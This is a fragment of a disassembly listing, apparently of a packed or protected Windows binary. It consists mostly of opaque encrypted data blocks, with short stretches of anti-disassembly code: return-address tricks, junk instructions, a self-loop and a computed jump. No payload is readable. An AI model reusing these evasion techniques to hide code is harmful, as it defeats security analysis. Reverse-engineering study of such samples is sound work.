		dd 6AC27309h, 2C48EDCDh, 7EFE1781h, 0CAB245F7h,	1163892Bh
		dd 0F2AFFB9Ch, 286D6EB2h, 4A7A2862h, 420ED6A0h,	5A76CEA8h
		dd 5975C94Bh, 0CFCFC2B6h, 41305CC4h, 7471CD63h,	7CF4CF23h
		dd 0B3D54EC7h, 4638DE0Ah, 4A5EBB0h, 0A5482AC0h,	30F9A41Ch
		dd 14C284h, 2AC40000h, 5CB83777h, 3CBD930h, 64A69212h
		dd 11051h, 0EE78F100h, 5CC4F3B3h, 3440D530h, 0A6247C58h
		dd 27B6445Eh, 0BDE55950h, 0C2836F97h, 305C7FBDh, 2B66F560h
		dd 305C806Bh, 686FBA5h,	0E305C80h, 0E6700694h, 5FA7D97Eh
		dd 86FBED45h, 384C317Ch, 0DE2F1590h, 0ECE8663Ah, 4731CC5Eh
		dd 73C3CA76h, 730D9B57h, 3DA068DAh, 8169EBEBh, 0F8750715h
		dd 60BCBE5Ch, 831582ADh, 0C5EE9B0Eh, 50E5612Fh,	0ED83FD12h
		dd 0AE4B5905h, 3C390A2Dh, 0D4FCD363h, 0DB000005h, 3AD4030h
		dd 0B4E08DEFh, 0FB55D8A2h, 288429ABh, 6EFE7705h, 3044E9C9h
		dd 820213BDh, 0CEAE41F3h, 1567F527h, 0F6ABF798h, 286D6DB6h
		dd 787E2C5Eh, 0E34339DCh, 8FAD09E1h, 79C25BEDh,	9E5AFECCh
		dd 7A9C38h, 32D8F428h, 0E12FFC40h, 0C6E8C38h, 37E02061h
		dd 0C1E8431h, 80000000h, 0E34FCDC4h, 275121h, 4AF10000h
		dd 700ED6A0h, 0EA3A40D4h, 96A410D8h, 648A52E4h,	3782DE1Ah
		dd 0A2487C1Dh, 3FE85DD0h, 1E000000h, 14DC5EB6h,	0D6A04AB6h
		dd 0C53C970Eh, 0E232305Ch, 1A309C60h, 87FA8458h, 305CC507h
		dd 0D0FC9B09h, 0D539C929h, 185AF034h, 4C32C68Eh, 5CC55555h
		dd 57E5BF30h, 0B03DF58Fh, 0F789AE36h, 0A04A893Bh, 22AA44D6h
		dd 7D3D6C0Eh, 97305CC5h, 3489250Dh, 651CAE39h, 384C76B3h
		dd 7912B79h, 79C5475Fh,	7876366Bh, 2D64286Dh, 286D786Dh
		dd 1491FDA7h, 8947BE36h, 3DF58BB5h, 680923ABh, 0F0045D60h
		dd 1C67F38Ah, 2B961E76h, 942A9818h, 57FF6F06h, 5A7EBAC2h
		dd 0AB7EC6B0h, 148D1F88h, 305D1599h, 63193D99h,	0D9730183h
		dd 109DDF7Dh, 18E496A4h, 0AB3DAA45h, 0D6FC7BF6h, 7A37C127h
		dd 1894FD3Ah, 7C60C8DAh, 15788B26h, 0C8042426h,	47A97h
		dd 0EA8AA100h, 3745E94Bh, 82FC12BEh, 0D35141F3h, 1963F622h
		dd 0B7230494h, 0F95BDAA2h, 2F8924A8h, 53FD7008h, 5136BFB9h
		dd 6D5C5C55h, 86B4286Dh, 0D6A04A20h, 195FFD5Fh,	5CC52868h
		dd 12BAE830h, 26BC8002h, 0AA324C90h, 9A28F486h,	0A6D07A5Eh
		dd 0D0A24814h, 479F1D74h, 0E2B9F53Dh, 23C9FBA2h, 742DC751h
		dd 305CC534h, 0E737C6DCh, 0E1196E07h, 52CCD119h, 0F120608Ah
		dd 0B615DD73h, 8431594Eh, 3EA8h, 0A0B33A00h, 2A292530h
		dd 0F1877CB3h, 0BAB02A67h, 0A6FC37B1h, 0D5A74814h, 0A8A9B43h
		dd 7D40A83Ah, 72BA8406h, 0C8AA4028h, 0CB7F963Eh, 0FA885424h
		dd 2E0A9864h, 9EDE71A3h, 3B91146h, 78B10000h, 0FF47C5DCh
		dd 0C5500DE5h, 942EB852h, 5CC49D1Dh, 232A7730h,	3A4EF035h
		dd 8746B240h, 37B4BA64h, 20AC7032h, 3894680Ah, 339F6715h
		dd 6A9D61E3h, 9637C36Ah, 45D0DB82h, 7E9C38D2h, 0FFB234FCh
		dd 2FCB8F1Ch, 83F91E7Ah, 898F8E0Eh, 8E1C8620h, 0C9E2CB6h
		dd 59497471h, 0AD856D9Fh, 43E20D20h, 0E70BD3ADh, 0A53B4995h
		dd 0C4DD7913h, 0F619E840h, 9C27E22Ah, 7F923E06h, 0B4CE21FDh
		dd 0BD750728h, 6A85A851h, 44D16BFDh, 1A077D16h,	2DDC1461h
		dd 1FF91FCAh, 0F95BDAC8h, 0F1DD2153h, 24641D5Bh, 0EC10B71Fh
		dd 1EBFFFB2h, 535110B7h, 0D3862FBDh, 0A845D740h, 90EB9522h
		dd 5056A29Ch, 10574221h, 0F2525018h, 42E559F4h,	6E23A4A8h
		dd 0DE5A5DCh, 752F08CEh, 0DF0CCBDh, 689408CEh, 85A935C1h
		dd 38883BF7h, 0B6ABBF93h, 2Eh, 0EC519D28h, 61C7F1C4h, 0A0B33B89h
		dd 430BA537h, 6819D153h, 37B5AB69h, 0FAAB7B29h,	2873AADEh
		dd 2DF7E82h, 8C19F9C2h,	0D43Ch,	0A04A8600h, 0AF420ED6h
		dd 0B74571CDh, 869A33C5h, 0CE828B60h, 4C08A48Ch, 2221CCAEh
		dd 305C2479h, 0C8B9BF5Dh, 305C23C8h, 29C45A48h,	9A176D8Fh
		dd 305C241Ah, 0CA1AA8FAh, 0D973E477h, 0B50319A8h, 0F98C1937h
		dd 62CBFECBh, 15AF39CFh, 734A1C9Ch, 42AEF428h, 0D067EF7Fh
		dd 0C2CF1DA8h, 6392D74Ah, 0CF5FDA97h, 906409D1h, 0D8A2B444h
		dd 8822B44Ah, 8E56D4CCh, 0BE4D3CF4h, 0F42FC7D7h, 9DB01CAEh
		dd 57FA56DFh, 0D7307021h, 0C2E02087h, 0F58BF51Ah, 3533837Ch
		dd 0BA2D213Ch, 203h, 0FC710328h, 37BEBC50h, 64097385h
		dd 0DB5AD8C8h, 0DA0D479h, 1B3E9A9Fh, 3160CC61h,	819602B3h
		dd 30DA76FFh, 0DCC6AF46h, 6D69E5A5h, 0AF1D2F28h, 58D5A74Ah
		dd 911C5EFCh, 37A0B331h, 0AAEDECA5h, 0F75F37B5h, 0B9CB1B65h
		dd 0C218D71h, 780E9468h, 0A9E1FDA4h, 7B872873h,	0FABF01D2h
		dd 0E8748C19h, 0A6FB3745h, 0E9h, 0D6A04A3Ch, 0CDAF420Eh
		dd 4BDE7771h, 0FA5948C5h, 574001E9h, 73305CC0h,	0BA169FD9h
		dd 801EE690h, 668953F5h, 0D119F909h, 0F486111Ch, 0D1D1C05Ah
		dd 43305C41h, 0E9F88961h, 0B337B520h, 21286819h, 0E202873h
		dd 0B86206Ch, 2873218Bh, 0A1891F85h, 0D04EE7BDh, 0A1D4B445h
		dd 9951CFC3h, 2CBE29C4h, 0C7C8FF75h, 65F7AD2Fh,	0A7F981C8h
		dd 891BEB95h, 0DBC9FBFCh, 35505041h, 0E2C02088h, 21349016h
		dd 52B2CA6Dh, 1A60F450h, 0AA4FE984h, 4DB827D2h,	8C43C35h
		dd 10257h, 72022900h, 0BFBD51C3h, 0A749A36h, 5BD9C96Bh
		dd 0A1DB7EDAh, 3F9B9C0Ch, 61D3621Ah, 9701AC30h,	0DB75F880h
		dd 0C9AE4731h, 68E4A4DDh, 1E2C286Dh, 0D5A74AA8h, 37FDAA43h
		dd 5E89D442h, 8FAD0F92h, 5CF35BEDh, 65C5C01Ch, 1A23F047h
		dd 48559D33h, 0D6A04AFAh, 0CEA8420Eh, 76E10C27h, 0A0D278E4h
		dd 8E86465Ch, 46B2300Ch, 787A3160h, 0EAB8384Ch,	0D49CBE1Ah
		dd 44443D43h, 0CC286D78h, 0E6FC40D6h, 0E0C52D57h, 0D7655FADh
		dd 30769945h, 76CE5C1Eh, 36C4B65Ah, 0B745F7FAh,	0C3235DF3h
		dd 3A7A37C1h, 0DA286D0Ch, 0DCEA3AC8h, 2F542A41h, 56F6832Ch
		dd 9475BD3Fh, 8B0BA382h, 0DA2A54E6h, 0DC205AFEh, 9A58010Fh
		dd 0B4701933h, 9A42D4A6h, 0AF35098Bh, 56E07E43h, 0CBA35B5Bh
		dd 3EFB5C5h, 2BFB8597h,	29F577AFh, 0CF37D6F6h, 0F7622236h
		dd 0FC34765Ah, 0AD4032D8h, 94B9E903h, 0DDF252E0h, 3, 4AF65465h
		dd 430FD7A1h, 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh
		dd 6D69B5C7h, 636FB735h, 6753B3CDh, 5E55A9D3h, 81E38953h
		dd 4C3h, 4EB8300h, 8B241C87h, 0E8682424h
		dd 89000005h, 8953241Ch, 4C381E3h, 83000000h, 1C8704EBh
		dd 0C895C24h, 31BE5624h, 8907EF4Eh, 24348BF3h, 5404C483h
		dd 81240C8Bh, 4C4h, 0BA525300h,	692C504Dh, 4245429h, 8418F5Ah
		dd 4D084181h, 8B692C50h, 8950240Ch, 405E0h, 4050000h, 87000000h
		dd 0FF5C2404h, 815B2434h, 4C4h,	1DBCE900h, 0DE21FFFAh
		dd 0D7AF8643h, 20A487A6h, 8AB865F2h, 307EF5Dh, 29E0FFC5h
		dd 7215CD38h, 0C54E2F66h, 885BB78Ah, 0A53DA0E0h, 9A0AD074h
		dd 0A4EC592h, 90262ECDh, 95264E87h, 1B270C7Ch, 771807C3h
		dd 0E86A54DDh, 0Dh, 0BD14FAFAh,	1B5F73B7h, 0A7FA7FB1h
		dd 5E8DCh, 56350000h, 51D6A6F4h, 0EE8h,	5027B500h, 0E5A78960h
		dd 9E9DC027h, 5E4ABC48h, 0F595F5Ah, 189h, 0C181F900h, 6C48h
		dd 820Fh, 0D1680000h, 5800001Ah, 0AE9h,	897E000h, 5C6220F4h
		dd 8B905B89h, 5FBF6619h, 6FF3810Bh, 0F7F69C2h, 0F381F3BFh
		dd 0FFE3315h, 570FF381h, 53F87A1Ch, 0DB965EBFh,	0F5018F00h
		dd 0F01BE981h, 8B660FF0h, 17C181F7h, 0E80FF0F0h, 12h, 58F96E6Bh
		dd 6DEBBC77h, 0A3292BF5h, 0AF7C439Ch, 815AE2EDh, 1E8h
		dd 31850F00h, 0E8000000h, 13h, 39E678A6h, 0EFEEABDEh, 0C619ED44h
		dd 18572F3Dh, 66260F9Ah, 6549D281h, 36E95Fh, 0A04C0000h
		dd 30C3F1DCh, 0A4F8D291h, 0E1089A73h, 0DE950h, 14DF0000h
		dd 97C200C0h, 0D5B78FFAh, 5E0D5D91h, 0FFFF5EE9h, 563C15FFh
		dd 0BE70992Dh, 2F65C611h, 0BB2E650Fh, 601F8D8Dh, 8D2907EFh
		dd 7E90BE1h, 0F499D8Bh,	8D8907E9h, 7E9320Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 3EC35040h, 0F9581BE8h
		dd 94919A12h, 68F0Fh, 85890000h, 7E908D9h, 0F0D88166h
		dd 0E585C770h, 8007E922h, 0F000074h, 85C7DABFh,	7E922B1h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5E9D7F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E9D7F	proc near		; CODE XREF: sdfs____:005E9D77p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5E9D7F	endp

; ---------------------------------------------------------------------------
		sub	al, 7Dh
		cmpsb
		mov	bh, 16h
		push	dword ptr [ebp+7E929A5h]
		pusha
		pusha
		cmc
		mov	[ebp+7E9192Dh],	ecx
		popa
		mov	ax, dx
		popa
		call	dword ptr [ebp+7E92285h]
		push	0
		push	esi
		call	sub_5E9DB9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E9DB9	proc near		; CODE XREF: sdfs____:005E9DB1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5E9DB9	endp

; ---------------------------------------------------------------------------
		pop	ss


loc_5E9DCA:				; CODE XREF: sdfs____:loc_5E9DCAj
		jmp	short loc_5E9DCA
; ---------------------------------------------------------------------------
		sub	eax, 34E5FA56h
		push	0
		call	dword ptr [ebp+7E90C31h]
		mov	eax, eax
		jmp	short loc_5E9DFC
; ---------------------------------------------------------------------------
		dw 519h
		dd 6E119693h, 0EDC05747h, 0DE72981Dh, 0FBB2DE2Eh, 63D86C2Dh
		dd 9286BCA4h, 1BEBE2A0h
; ---------------------------------------------------------------------------


loc_5E9DFC:				; CODE XREF: sdfs____:005E9DDCj
		jmp	loc_5E9E16
; ---------------------------------------------------------------------------
		db 0F0h, 0B2h, 2Ch
		dd 38h,	3 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E9E16:				; CODE XREF: sdfs____:loc_5E9DFCj
		jmp	loc_5EA312
; ---------------------------------------------------------------------------
		db 2Bh
		dd 53FD7000h, 8430BDBFh, 0CB650872h, 78D459DBh,	9E0EA7D5h
		dd 60143999h, 0B23263CDh, 0FE7E9103h, 4537C577h, 0A6DBC7A8h
		dd 286D64E6h, 4AAE1C2Eh, 420ED6A0h, 0F420CDAFh,	6E082266h
		dd 7C790B96h, 55B0458Ch, 0E1ED31C7h, 379F294Bh,	5C905820h
		dd 469EDC70h, 45991B0Ah, 48941809h, 0B042EB0Dh,	0AE5A0315h
		dd 0E343F28Ch, 55A92B7Bh, 2037E34Fh, 0E06CE58h,	0FF59A48Ch
		dd 0F0DC2058h, 0ACC323A1h, 30C701A8h, 7B55554Ch, 0D3BF305Ch
		dd 18AE3C3Ch, 67113B95h, 7ACBE69Fh, 6E82305Ch, 29B212CFh
		dd 58CC8431h, 96000000h, 0DFD2A04Ah, 305CC4DFh,	4BDD7331h
		dd 230F6983h, 0C494168Fh, 7F91305Ch, 0DFC33DDEh, 1238430h
		dd 87000000h, 8D4A64Ah,	72D2A84Ch, 3ACC4E46h, 0C4B1F1A0h
		dd 4163305Ch, 8E18B5E9h, 0F54933C6h, 3EDF03EFh,	9914668Ah
		dd 3D551D3Fh, 1A8429BFh, 3E39DB2h, 4A1BA981h, 7F09D5A7h
		dd 0F5E720E6h, 0DB171D05h, 97215BFFh, 0F3532DCFh, 6A2A67F1h
		dd 0AA305BE6h, 2FFC30F8h, 698C38E1h, 24366213h,	28CE8A5Ah
		dd 32DE8E56h, 0B9664E8Bh, 99808431h, 22000000h,	9D5A74Ah
		dd 0DD1AB4Dh, 77CFAD41h, 75C94B5Bh, 11E58488h, 5CC52060h
		dd 1CB2F030h, 0F697B9h,	77CF4D44h, 14A1076Ah, 841A4C08h
		dd 97E508ACh, 0BBF6801Eh, 305C26FBh, 84FD8F15h,	305C2704h
		dd 7E5A960Ch, 7E17A1DBh, 0D227206h, 4B01DA73h, 0FB85D911h
		dd 26703061h, 2A0305Ch,	10928236h, 0C9709CCCh, 3178A808h
		dd 67C684h, 4A9C0000h, 334DE3A7h, 0E275419Dh, 170E4A9Ah
		dd 140D4995h, 91FF4C90h, 67E53CE8h, 677059Fh, 94B96B12h
		dd 688E56E0h, 73D7DA16h, 42D4A64Ah, 0DDBE48ABh,	0AC84AC96h
		dd 80369170h, 0DD34305Ch, 0DACB875Fh, 0CF318A5Ah, 0F33BCB2Eh
		dd 877DF342h, 0F9A074F1h, 6E2E63FDh, 0A6305C96h, 2D9734FCh
		dd 4984310Fh, 1, 0DAA44A19h, 0C0D07C0Ah, 28C2F642h, 581F64Eh
		dd 78C44859h, 0BB628E6Ah, 1895E709h, 275AF48Eh,	305CC567h
		dd 686FBA9h, 0E305CC5h,	96815C94h, 0FF3A7701h, 3737B5ADh
		dd 1725916Dh, 343AD365h, 0BFF31958h, 68C4C921h,	0B56CB0C2h
		dd 287364F3h, 48EE7600h, 1CD4EE36h, 7D9F49F0h, 0A3DC6903h
		dd 1DA9741Bh, 802CB179h, 671A3E6Ah, 47294164h, 0A93FCDB1h
		dd 0A1D37955h, 61FC8E5Dh, 759A85E6h, 1CA93B0Bh,	64D78246h
		dd 0DCB4298Ah, 0DC00E87Eh, 17618B3Dh, 5EDB259Eh, 0E1B8C1Ah
		dd 0AF000001h, 0A537A0B3h, 0C516960Bh, 0A4FE305Ch, 68275A4Ch
		dd 0AE37B59Ah, 56FA62F4h, 1690CC24h, 0DD1AB4Eh,	0FD1FBB77h
		dd 0B446F283h, 0BC5E7ACAh, 0CB1B61F4h, 0DB2BB9h, 81AB5DFCh
		dd 0FBC57EF7h, 7B8C1A0Ah, 50h, 2DBAB34Fh, 3A77019Bh, 305CC57Ah
		dd 2120089Ah, 0B05CC581h, 62A2DC69h, 40D4766Bh,	469E04E8h
		dd 5C1EDFDFh, 0E87436B0h, 0D6EC3042h, 4A9AE476h, 0ED8CF038h
		dd 0D0544D09h, 3BB04518h, 1ED0F0A1h, 6240305Ch,	648B53D3h
		dd 7AE3DC14h, 3000000h,	403ADC78h, 0AD3A35E8h, 946B661Bh
		dd 594B37B5h, 8D0F07CFh, 0AF4D09A5h, 1EC620CDh,	25BF87F9h
		dd 3143E9CDh, 939734EDh, 8E822873h, 621725EFh, 0FD130A1Eh
		dd 0E4891F05h, 7C35A6B1h, 2872E73Ch, 453CCED4h,	2872E745h
		dd 0B547D5CFh, 0D763B31Bh, 0D8EA3A42h, 0E8FA4Ah, 62877C41h
		dd 0B08C1630h, 0B884F604h, 82933B47h, 23CA3602h, 0F08A1D18h
		dd 73273C81h, 0A14C5628h, 37A0B361h, 53430BA5h,	636819D1h
		dd 2F384C65h, 77CFA943h, 4B07DF6Dh, 0F25ED7A1h,	0B8C61E58h
		dd 0E97CFE1Ch, 0E0F3BE2Eh, 4706F2C1h, 47A954F0h, 0C4658Fh
		dd 4BE588EAh, 0DD05D0A1h, 9A6AEA3Bh, 807D08h, 59EF6DA4h
		dd 0D36D5ACCh, 9624056Ah, 9012024Eh, 8EEC004Ch,	8BF51AB6h
		dd 53FA1EBBh, 0B1587CA7h, 74ADE577h, 53D362F0h,	87AB92BAh
		dd 1CD4D2DAh, 1CE092B8h, 0D6E3EB82h, 4E36C4AAh,	0DB17698Eh
		dd 0DE4h, 0D2543E00h, 0C5494938h, 0D9CB305Ch, 0A14AB311h
		dd 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh
		dd 356D69B5h, 0CD636FB7h, 0D36753B3h, 575E55A9h, 0C781E789h
		dd 4, 3304EF83h, 3C31243Ch, 243C3324h, 9A6685Ch, 4890000h
		dd 46396824h, 0C890000h, 3B685724h, 5F36DE56h, 4166BE56h
		dd 0F7017519h, 75E7815Eh, 810B8E06h, 696640F7h,	5FF8890Ch
		dd 240C8B54h, 8104C483h, 4ECh, 24048900h, 8B08418Fh, 8950240Ch
		dd 405E0h, 4050000h, 87000000h,	0FF5C2404h, 81582434h
		dd 4C4h, 1670E900h, 0DDDFFFFAh
		db 4Ch,	74h
; ---------------------------------------------------------------------------


loc_5EA312:				; CODE XREF: sdfs____:loc_5E9E16j
		mov	eax, 7EF64D9h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0B7h
		dd 925EA43Ch, 7108D6Ch,	0A208B1A8h, 0F13A504Ch,	0A96BB32Eh
		dd 8A3DFEC5h, 9C63761Eh, 0B81CB80Bh, 67455E35h,	24C1D06h
		dd 0E961D70Ch, 16h, 20B11BA4h, 4 dup(0)
		dd 5DE90000h, 0E7000005h, 2F892454h, 50FC710Bh,	8731BCBEh
		dd 34600D8Fh, 42DA5B21h, 1460F5E5h, 66E63F99h, 0B2CA6DCFh
		dd 0F97B9103h, 1A971374h, 286D5F9Ah, 4A62407Ah,	420ED6A0h
		dd 0F420CDAFh, 8CC81466h, 84300C6Eh, 9F3A0A70h,	0FA10D475h
		dd 0B45BF578h, 7AAA32C4h, 3AD30F8h, 991988ECh, 7B305CC4h
		dd 0F4B9B29h, 58049616h, 6B79C5B7h, 21176CD2h, 0A189D48Bh
		dd 0CFAD410Dh, 0CBB55B77h, 13BA5E7Bh, 0FA623CE7h, 0A2CE2A54h
		dd 3061FBFBh, 305C3F70h, 823602A0h, 0EC79136Dh,	4C45FDA3h
		dd 0DF6E74C8h, 0F33F4B55h, 0CEA842EEh, 0A3DE6876h, 305CB3E3h
		dd 0D92557E5h, 4FD9CBCBh, 5CB45252h, 8E0C230h, 5CB45E79h
		dd 14A13D30h, 0D7FC6AEBh, 76BC766h, 1F4BB566h, 71AB8431h
		dd 3F000000h, 44D6A04Ah, 0D0145CA9h, 0E1E343C1h, 0D0215454h
		dd 1CA93F3Dh, 2506F411h, 0A1FD352Dh, 5C0FBEC0h,	0A851BB30h
		dd 3195996Bh, 8D584h, 0DC90000h, 30B292EAh, 0ED78CAF8h
		dd 0A19394h, 0F22612FDh, 0F4C01C5Eh, 0BCCA1A60h, 602F6F22h
		dd 0C3E1305Ch, 10B0032Ah, 49A1F771h, 6D81356Dh,	759B370Fh
		dd 1FE7750Bh, 35FF9EB2h, 7EDA5B21h, 0B713A2DCh,	0FAD2A74Ah
		dd 8BE89F10h, 0FD93E90Ch, 4E43DD6Fh, 305C644Eh,	0D814DCC6h
		dd 82A834CEh, 640181F0h, 9113305Ch, 0A3D97D59h,	9BE57743h
		dd 96160F4Bh, 0EA93FD4Eh, 9C81890Fh, 0F381B991h, 7C16894h
		dd 49EB8AF2h, 410DD1A3h, 5971CDAFh, 0EDC714B5h,	42843129h
		dd 272516ABh, 68EC8122h, 217CB4C6h, 79h, 0D5A74A81h, 0D1AB4D09h
		dd 0CDAF410Dh, 0F3B74571h, 0BDC71F59h, 262AD72Fh, 3ED27B87h
		dd 0B4C0559Fh, 5A7F8B22h, 5A84588Eh, 0FA93139Eh, 526F167Ah
		dd 20945C44h, 3B976F0Dh, 259569EBh, 51A37019h, 0AD8430F0h
		dd 8Ah,	0D5A74A35h, 0ACE57F09h,	305CC4ECh, 6B27E24h, 1BB78FF1h
		dd 0DC9EBC0Ah, 34DAF64Eh, 8385FA4Ah, 0AA671FDAh, 0BB8967AEh
		dd 0BD5C7025h, 1F96E60Bh, 3ADC78ABh, 28CCE840h,	41CB852h
		dd 0CC24BE86h, 0AA4E1690h, 38710CD0h, 0A1601DFBh, 35D41CB2h
		dd 305C8A9Ah, 61F54150h, 2BB9CB1Bh, 0D4D4CDDBh,	3C305C89h
		dd 2953E666h, 0D6D6CBD5h, 3E305C89h, 7E1F3164h,	7617F97Ch
		dd 311B5BA5h, 0E674D084h, 0FE3A4894h, 1A3h, 0ED780700h
		dd 0DABC8AF9h, 0D8FC3449h, 70DB4336h, 650FAD52h, 7B3092D0h
		dd 0DA68F57Eh, 0D2AC4E0Ah, 52FB1D72h, 52FA8096h, 0CECEC3BDh
		dd 46305C1Fh, 0C27CE5Ch, 0B9BC71E1h, 6E44A491h,	0FDB44ED8h
		dd 305CAEBDh, 3E54D57h,	0B597938Eh, 3D01A337h, 74F97B91h
		dd 0FC4032D8h, 73988305h, 5E069028h, 6062C2BCh,	3C56488h
		dd 4AE68FE9h, 700ED6A0h, 0E43842D4h, 94A612DEh,	45411AEAh
		dd 3C007499h, 87264AA6h, 20CDAF4Dh, 1A0D21E3h, 0A84E168Ch
		dd 4D4D44D6h, 0C72873A4h, 0FBD815DDh, 0EA000000h, 1001A0B3h
		dd 9C32B08Ch, 9A18970Ah, 0A4FE37B5h, 9CDE7C58h,	86FB9511h
		dd 28739A06h, 785C940Eh, 425CA0D2h, 3251EBABh, 57A35CB7h
		dd 1DAFC963h, 12DE9EB1h, 5A030DDEh, 43F28CAEh, 1A6DFEC6h
		dd 4C788Ch, 784A0000h, 0C4F3B3EEh, 801D305Ch, 406DA868h
		dd 74BC52B9h, 9527A4B9h, 5C43BC1Ch, 0BC4E54B0h,	442F6F22h
		dd 0C3E1B05Ch, 4A4A3B77h, 0CDB05C44h, 3E37FAA3h, 42621FA9h
		dd 0D2305C44h, 73E85DD0h, 1E000000h, 448D0D84h,	1D87305Ch
		dd 0A0B3F7D5h, 0B18DEF01h, 960B9D33h, 37B5945Bh, 17BF495Bh
		dd 1EA47800h, 18329ED2h, 0D765D75Eh, 0BA859A5h,	3E287393h
		dd 9BB1731Ah, 160154D9h, 7DFA1B7h, 245DEF7Dh, 30632CF2h
		dd 3C98643Eh, 6F805C1Eh, 72FDC069h, 524C5DE2h, 27F519Fh
		dd 20841B82h, 0E8821092h, 841AF9B9h, 0FB891B20h, 0B4FE3061h
		dd 70322873h, 0A0B345FDh, 0B78FED01h, 6B19A62Ah, 0A1376165h
		dd 16087913h, 1A384B66h, 0A22AB488h, 0A511ED8Fh, 9C54EA92h
		dd 0C0561238h, 0C95C66BEh, 1455CDC0h, 6902630h,	1CDA096Fh
		dd 0D018C7FEh, 0AFC963CDh, 3761AE57h, 0D0644F4Fh, 235DFF29h
		dd 6A142692h, 0AC400C9Ah, 0DF2755F8h, 0D5EF37C5h, 0EB69B91Dh
		dd 0E799BF1Bh, 0E39DB31Fh, 0FBA2B603h, 590004FFh, 42F38DAFh
		dd 0EA3A44D6h, 709A42DCh, 0F5A43E06h, 10E37B5h,	0D61D41A6h
		dd 0FE96F684h, 8734CA4h, 93000000h, 46C4DC78h, 4A72D0EAh
		dd 430FD7A1h, 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh
		dd 6D69B5C7h, 636FB735h, 6753B3CDh, 5E55A9D3h, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 8956243Ch, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 241C895Ch, 3B4768h, 243C8900h
		dd 0BD076DBBh, 0FFC38160h, 81FFFFFFh, 325E41C3h, 43E568A7h
		dd 24890000h, 24048324h, 0C2685F04h, 8900006Ch,	478F241Ch
		dd 243C8B08h, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 5B2434FFh
		dd 0E904C483h, 0FFFA10C6h, 0A0C4430h, 856C6872h, 0C71B45F9h
		dd 0EF6A82B8h, 0FFC50307h, 29A96FE0h, 9688AE40h, 700F8C3Ch
		dd 5ADB8630h, 0A9E9E272h, 0C47EE137h, 1A1E912h,	0B1FC0000h
		dd 2C276444h, 98D31AD5h, 0D1D746B1h, 41EFB4CAh,	52E45B7Eh
		dd 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h, 0CB0093B9h
		dd 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h, 9755FC00h
		dd 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h, 0B5F600CCh
		dd 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch, 0ACE5h
		dd 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h, 8 dup(0)
		dd 0E9000000h, 10D8h, 0EF6EA768h, 0E62EE907h, 9A68FFFAh
		dd 0E907EF6Fh, 0FFFAE624h, 0EF714968h, 0E61AE907h, 2B68FFFAh
		dd 0E907EF72h, 0FFFAE610h, 0EF739668h, 0E606E907h, 9468FFFAh
		dd 0E907EF74h, 0FFFAE5FCh, 0EF754868h, 0E5F2E907h, 0B268FFFAh
		dd 0E907EF75h, 0FFFAE5E8h, 0EF771368h, 0E5DEE907h, 8068FFFAh
		dd 0E907EF77h, 0FFFAE5D4h, 0EF786A68h, 0E5CAE907h, 2D68FFFAh
		dd 0E907EF79h, 0FFFAE5C0h, 0EF79CA68h, 0E5B6E907h, 1668FFFAh
		dd 0E907EF7Bh, 0FFFAE5ACh, 0EF7C4C68h, 0E5A2E907h, 0EB23FFFAh
		dd 0F512A73Fh, 0F08C9D1h, 1F7ADFC7h, 306EE3FBh,	0D658F6ECh
		dd 62789CFAh, 7169B5EFh, 861CC4C0h, 960CDC33h, 5CC06B39h
		dd 1CA92EF1h, 0DF7E3F99h, 0F5FA1CC4h, 0E8386FEEh, 3CEC238Eh
		dd 24BA0FA6h, 6AA524B4h, 841F44A6h, 289DD21Fh, 0EF0B48A9h
		dd 566C80A8h, 0CF374B99h, 6AB6ED6Ch, 0CCB6DE7Fh, 37A213FFh
		dd 0CE000000h, 0AACC140Fh, 539A3EA5h, 62A6E216h, 5D82425Fh
		dd 9EB9A44Fh, 0E0F3A928h, 6A271186h, 0DEE09956h, 0BE35C528h
		dd 99566992h, 219E0556h, 13FFD3D5h, 0E285h, 584FDB00h
		dd 0FD326E88h, 0B85EBDE0h, 5AF9E093h, 137E983Ch, 0E7CA2CFCh
		dd 0FD7A60B0h, 0A13FBB1Dh, 5C91EE41h, 36FEA827h, 37537793h
		dd 0EB229108h, 0FB12A73Fh, 6DFACB2Fh, 53C2697Bh, 59A928F5h
		dd 14769EF8h, 5C4CB42Fh, 56D169D7h, 52EB0699h, 6482FAB9h
		dd 108ECF0Ch, 32D63190h, 5DF0EBE8h, 22EC508h, 0C6995767h
		dd 0CF6474B5h, 0A1433E2Bh, 31900053h, 20A133D3h, 22B823E3h
		dd 0B7650E9Eh, 73916B8Eh, 8E94B833h, 754916Bh, 1E7CDBC6h
		dd 0F6F205FEh, 335D2E06h, 0E61AAh, 60B0E800h, 1ABAD77Ah
		dd 8D4CD8Ch, 3CE43F92h,	0D1F513A6h, 0BD1113C9h,	9227BF5Fh
		dd 8336AC78h, 0F65B4387h, 0FC6B739Fh, 0F299872Ch, 4451A92Eh
		dd 8D514FF8h, 0EE6DA415h, 3F84D745h, 34093A1h, 0ED63091h
		dd 53BF1F93h, 80108016h, 3F8445EBh, 0EBF605A1h,	9EABD65Dh
		dd 0F0E1A928h, 252A4C94h, 1468A86h, 6986B6E5h, 3D419956h
		dd 0D3294DC9h, 17B613FFh, 8CB3D7FBh, 0B47015h, 0CF200000h
		dd 5BF82CAEh, 0BE1A8175h, 6E88584Fh, 0D3C10503h, 0E9F01472h
